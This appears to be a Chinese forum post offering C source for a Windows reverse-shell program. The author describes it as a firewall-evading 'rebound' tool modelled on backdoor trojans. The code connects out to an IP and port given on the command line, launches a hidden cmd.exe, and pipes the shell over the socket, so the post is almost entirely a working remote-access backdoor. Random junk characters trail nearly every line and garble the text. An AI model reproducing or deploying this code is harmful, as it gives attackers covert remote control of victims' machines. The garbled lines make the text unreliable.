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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 e57}.pF^  
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/* ============================== fa8vY  
Rebound port in Windows NT UN'hnqC  
By wind,2006/7 P+:FiVj@~  
===============================*/ &"BmCDOq  
#include HB\<nK  
#include  4C/  
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#pragma comment(lib,"wsock32.lib") { .B^  
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void OutputShell(); y-cRqIM  
SOCKET sClient; W( E!:  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; f]^(|*6  
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void main(int argc,char **argv) F[ N{7C3  
{ sI, T"D?  
WSADATA stWsaData; YC - -&66  
int nRet; , b ,`;I  
SOCKADDR_IN stSaiClient,stSaiServer; YT+fOndjaF  
@`G_6 <.`  
if(argc != 3) Q1mz~r  
{ 12gcma}  
printf("Useage:\n\rRebound DestIP DestPort\n"); ;Z-xum{  
return; A7>0Pn%D3  
} SouPk/-B80  
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WSAStartup(MAKEWORD(2,2),&stWsaData); kLU$8L  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); )TnxsFC  
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stSaiClient.sin_family = AF_INET; |y)Rlb# d  
stSaiClient.sin_port = htons(0); _Ft4F`pM  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); d^ L` dot  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) &, hhH_W  
{ ~'m GGH2  
printf("Bind Socket Failed!\n"); t%Vc1H2}  
return; 6]^ShOX_Z  
} A1Ia9@=Mf  
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stSaiServer.sin_family = AF_INET; JaoRkl?F  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Ki(qA(r  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 5, R\tJCK  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) IeLG/ fB  
{ =hxj B*")  
printf("Connect Error!"); V0q./NuO  
return; 58\Rl  
} Eq c&iS~  
OutputShell(); Y*/:IYr`  
} I:CnOpR>A  
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void OutputShell() Pc#8~t}2  
{ mnZ/rb  
char szBuff[1024]; c?A(C#~ z  
SECURITY_ATTRIBUTES stSecurityAttributes; P +ONQN|  
OSVERSIONINFO stOsversionInfo; 6d&dB  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; /6jt 5N&,  
STARTUPINFO stStartupInfo; bO]^TRaiJ  
char *szShell; o%XAw   
PROCESS_INFORMATION stProcessInformation; nAPSs]D  
unsigned long lBytesRead; T4dLuJl  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); +EjH9;gx  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 64 9{\;*4  
stSecurityAttributes.lpSecurityDescriptor = 0; F^.w:ad9<  
stSecurityAttributes.bInheritHandle = TRUE; by!1L1[JTt  
d 4w+5H" u  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ;#$ 67G$  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); #=C!Xx&  
6$$4!R-  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); q}P< Ejq}  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; p vone,y2  
stStartupInfo.wShowWindow = SW_HIDE; `>KB8SY:qK  
stStartupInfo.hStdInput = hReadPipe; .|W0B+Z8  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; UJ0fYTeuI  
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GetVersionEx(&stOsversionInfo); ZGO% lkZ.  
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switch(stOsversionInfo.dwPlatformId) ~2u~}v5m7  
{ 9n4vuBgv  
case 1: P`r@<cgb=  
szShell = "command.com"; %N+8K  
break; Wy1#K)LRb  
default: v0uDL7  
szShell = "cmd.exe"; tgmG#b*  
break; YZ>L\  
} M~% ~y`D^  
d&[Ct0!++u  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); L&h@`NPO a  
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send(sClient,szMsg,77,0); @ 3n;>oi  
while(1) u@QP<[f  
{ Su" 9`  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Ja1[vO"YgP  
if(lBytesRead) iA*^`NMaT  
{ n-ZOe]3  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); } U <T>0  
send(sClient,szBuff,lBytesRead,0); `y"(\1  
} <zd_-Ysn  
else 0_nY70B  
{ \3nu &8d  
lBytesRead=recv(sClient,szBuff,1024,0); j}P xq  
if(lBytesRead<=0) break; U|tUX)9O  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Ek'~i  
} 3PRg/vD3  
} NMaZ+g!t(  
]rwHr;.  
return; O5rHN;\_  
}
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